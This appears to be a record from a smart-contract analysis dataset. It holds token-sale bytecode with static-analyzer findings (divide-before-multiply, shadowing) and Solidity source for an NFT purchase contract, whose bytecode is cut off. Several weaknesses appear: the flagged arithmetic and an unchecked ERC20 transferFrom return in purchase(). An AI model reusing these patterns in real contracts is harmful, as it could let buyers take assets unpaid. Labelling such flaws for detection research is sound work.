6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae6116fe565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611709565b005b34801561051d57600080fd5b50610526611773565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b50610551611779565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c61177f565b005b34801561058a57600080fd5b50610593611868565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106236118a1565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b5061066860048036038101908080359060200190929190505050611969565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a06565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c41565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c61565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c74565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d5f565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d65565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dec565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec612031565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b50610917612037565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061203d565b005b34801561097c57600080fd5b506109b360048036038101908080359060200190820180359060200191909192939192939080359060200190929190505050612114565b005b600080600080600080600080600d60149054906101000a900460ff161515156109dd57600080fd5b600097506000965060009550670de0b6b3a76400009450674563918244f400009350670de0b6b3a76400009250670de0b6b3a7640000610a2834600a546121c990919063ffffffff16565b811515610a3157fe5b049750339150662386f26fc100003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae557843410158015610a7d57508334105b15610a9857600a808902811515610a9057fe5b049550610ae0565b833410158015610aa757508234105b15610ac357600a60148902811515610abb57fe5b049550610adf565b8234101515610ade576064808902811515610ada57fe5b0495505b5b5b610b6e565b662386f26fc100003410158015610afd575060055442105b8015610b0a575060075442115b8015610b17575060065442105b15610b6857833410158015610b2b57508234105b15610b4757600a60028902811515610b3f57fe5b049550610b63565b8234101515610b6257600a808902811515610b5e57fe5b0495505b5b610b6d565b600095505b5b85880196506000881415610c7f576000905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610be45750600b54600c5411155b15610c6357610bf38282612201565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610c7a565b662386f26fc100003410151515610c7957600080fd5b5b610d14565b600088118015610c965750662386f26fc100003410155b15610cfc576005544210158015610caf57506007544210155b8015610cbc575060065442105b15610cd157610ccb8289612201565b50610cf7565b8434101515610cea57610ce48288612201565b50610cf6565b610cf48289612201565b505b5b610d13565b662386f26fc100003410151515610d1257600080fd5b5b5b600854600954101515610d3d576001600d60146101000a81548160ff0219169083151502179055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610da5573d6000803e3d6000fd5b505050505050505050565b6040805190810160405280600781526020017f4d657461426f780000000000000000000000000000000000000000000000000081525081565b6000808214158015610e7857506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e865760009050610f71565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd557600080fd5b610fea8260085461238d90919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b600060606004810160003690501015151561104b57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561108757600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110d557600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561116057600080fd5b6111b283600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128483600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061135683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146e57600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114d9573d6000803e3d6000fd5b505050565b601281565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561158f57600080fd5b3390506115e482600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a990919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163c826008546123a990919063ffffffff16565b600881905550611657826009546123a990919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176557600080fd5b61176f82826123c2565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117de57600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611863573d6000803e3d6000fd5b505050565b6040805190810160405280600381526020017f4d4f58000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ff57600080fd5b600d60149054906101000a900460ff1615151561191b57600080fd5b6001600d60146101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119c557600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b6000604060048101600036905010151515611a1d57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a5957600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611aa757600080fd5b611af983600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b8e83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60149054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611d1757600080fd5b505af1158015611d2b573d6000803e3d6000fd5b505050506040513d6020811015611d4157600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4d57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611eeb57600080fd5b505af1158015611eff573d6000803e3d6000fd5b505050506040513d6020811015611f1557600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611fed57600080fd5b505af1158015612001573d6000803e3d6000fd5b505050506040513d602081101561201757600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561209957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156121115780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217257600080fd5b600090505b838390508110156121c3576121b6848483818110151561219357fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16836123c2565b8080600101915050612177565b50505050565b6000808314156121dc57600090506121fb565b81830290508183828115156121ed57fe5b041415156121f757fe5b8090505b92915050565b6000600d60149054906101000a900460ff1615151561221f57600080fd5b6122348260095461238d90919063ffffffff16565b60098190555061228c82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600081830190508281101515156123a057fe5b80905092915050565b60008282111515156123b757fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561241e57600080fd5b60008111151561242d57600080fd5b60085460095410151561243f57600080fd5b61249181600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124e98160095461238d90919063ffffffff16565b600981905550600854600954101515612518576001600d60146101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820a7b77506a9caae64946256b2617cc1dbf2e6070e9f785a7cf42eda519d385ef20029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 635 |
0x42fd58d8984673ba158d3ba16f19e147d916b265 | /**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC1155 {
event TransferSingle(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _amount
);
event TransferBatch(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _amounts
);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _amount, uint256 indexed _id);
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes calldata _data
) external;
function create(
uint256 _maxSupply,
uint256 _initialSupply,
string calldata _uri,
bytes calldata _data
) external returns (uint256 tokenId);
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount,
bytes calldata _data
) external;
function safeBatchTransferFrom(
address _from,
address _to,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external;
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address _operator, bool _approved) external;
function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NFTSwapper_Governor is Ownable {
uint256 public nftid;
mapping(address => bool) private purchased;
address public seller;
address public rarigang;
address public currency;
uint256 public price;
bool public active;
constructor(uint256 _nftid, address _seller, bool _active, address _rarigang, address _currency, uint256 _price) public{
nftid = _nftid;
seller = _seller;
active = _active;
rarigang = _rarigang;
currency = _currency;
price = _price;
}
function setActive(bool isActive) public onlyOwner{
active = isActive;
}
function hasPurchased(address buyer) public view returns (bool){
return purchased[buyer];
}
function purchase() public {
require(!purchased[msg.sender], "Cannot buy: Already purchased!");
require(active, "Cannot buy: Market not active!");
require(IERC1155(rarigang).balanceOf(seller, nftid) > 0, "Cannot buy: No more available!");
require(IERC20(currency).balanceOf(msg.sender) >= price*1e18, "Cannot buy: Need more coin!");
IERC1155(rarigang).safeTransferFrom(seller, msg.sender, nftid, 1, "");
IERC20(currency).transferFrom(msg.sender, 0x000000000000000000000000000000000000dEaD, price*1e18);
purchased[msg.sender] = true;
}
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638f32d59b1161008c578063a035b1fe11610066578063a035b1fe14610284578063acec338a146102a2578063e5a6b10f146102d2578063f2fde38b1461031c576100cf565b80638f32d59b146101bc57806390118fb4146101de578063994f4f9f1461023a576100cf565b806302fb0c5e146100d457806308551a53146100f657806364edfbf0146101405780636fd976bc1461014a578063715018a6146101685780638da5cb5b14610172575b600080fd5b6100dc610360565b604051808215151515815260200191505060405180910390f35b6100fe610373565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610148610399565b005b610152610a67565b6040518082815260200191505060405180910390f35b610170610a6d565b005b61017a610ba6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101c4610bcf565b604051808215151515815260200191505060405180910390f35b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2d565b604051808215151515815260200191505060405180910390f35b610242610c83565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61028c610ca9565b6040518082815260200191505060405180910390f35b6102d0600480360360208110156102b857600080fd5b81019080803515159060200190929190505050610caf565b005b6102da610d46565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035e6004803603602081101561033257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b005b600760009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610459576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a20416c72656164792070757263686173656421000081525060200191505060405180910390fd5b600760009054906101000a900460ff166104db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a204d61726b6574206e6f742061637469766521000081525060200191505060405180910390fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662fdd58e600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b1580156105a757600080fd5b505afa1580156105bb573d6000803e3d6000fd5b505050506040513d60208110156105d157600080fd5b810190808051906020019092919050505011610655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a204e6f206d6f726520617661696c61626c6521000081525060200191505060405180910390fd5b670de0b6b3a764000060065402600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561070157600080fd5b505afa158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b810190808051906020019092919050505010156107b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f74206275793a204e656564206d6f726520636f696e21000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360015460016040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382